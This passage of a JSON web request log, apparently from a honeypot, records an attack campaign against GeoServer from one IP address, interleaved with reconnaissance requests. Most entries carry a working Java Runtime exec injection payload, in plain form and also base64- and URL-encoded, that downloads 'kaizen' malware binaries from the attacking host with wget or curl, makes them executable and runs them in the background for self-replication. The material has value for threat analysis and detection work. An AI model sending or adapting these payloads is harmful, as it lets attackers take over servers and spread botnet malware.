"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T11:48:23.687301+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 44170,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1099",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1099
},
{
"ts": "2026-08-30T11:48:24.702687+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:tasmania_roads&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 53582,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:25.421407+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 53586,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "925",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 925
},
{
"ts": "2026-08-30T11:48:26.152393+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 53588,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1090",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1090
},
{
"ts": "2026-08-30T11:48:27.033498+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=cite:Lakes&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 53604,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:27.883559+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 53620,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "916",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 916
},
{
"ts": "2026-08-30T11:48:28.756365+00:00",
"method": "GET",
"path": "/geoserver/ogc/features/v1/collections?filter-lang=cql-text&filter=exec%28java.lang.Runtime.getRuntime%28%29%2Cnew%20java.lang.String%5B%5D%7B%27/bin/bash%27%2C%27-c%27%2C%27cd%20/tmp%7C%7Ccd%20/var/run%7C%7Ccd%20/dev/shm%7C%7Ccd%20/root%7C%7Ccd%20/%3Bwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-O%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-o%20.k%202%3E/dev/null%3Bchmod%20777%20.k%3Bnohup%20./.k%20selfrep.geoserver%20%3E/dev/null%202%3E%261%20%26%27%7D%29",
"client_ip": "127.0.0.1",
"client_port": 53636,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:58:16.497998+00:00",
"method": "GET",
"path": "/robots.txt",
"client_ip": "127.0.0.1",
"client_port": 58458,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "18.116.101.220",
"X-Forwarded-For": "18.116.101.220",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "gzip"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:38.707337+00:00",
"method": "GET",
"path": "/geoserver/web/",
"client_ip": "127.0.0.1",
"client_port": 59236,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:39.302456+00:00",
"method": "GET",
"path": "/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0",
"client_ip": "127.0.0.1",
"client_port": 59248,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:40.150629+00:00",
"method": "GET",
"path": "/geoserver/wfs?service=wfs&version=2.0.0&request=GetCapabilities",
"client_ip": "127.0.0.1",
"client_port": 59254,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:40.964117+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 59266,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1092",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1092
},
{
"ts": "2026-08-30T12:07:41.950038+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 59276,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:43.466118+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 59284,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "918",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 918
},
{
"ts": "2026-08-30T12:07:46.081146+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49544,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T12:07:46.969078+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:bugsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 49558,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:47.894651+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49562,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T12:07:49.429393+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49574,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T12:07:50.252763+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAua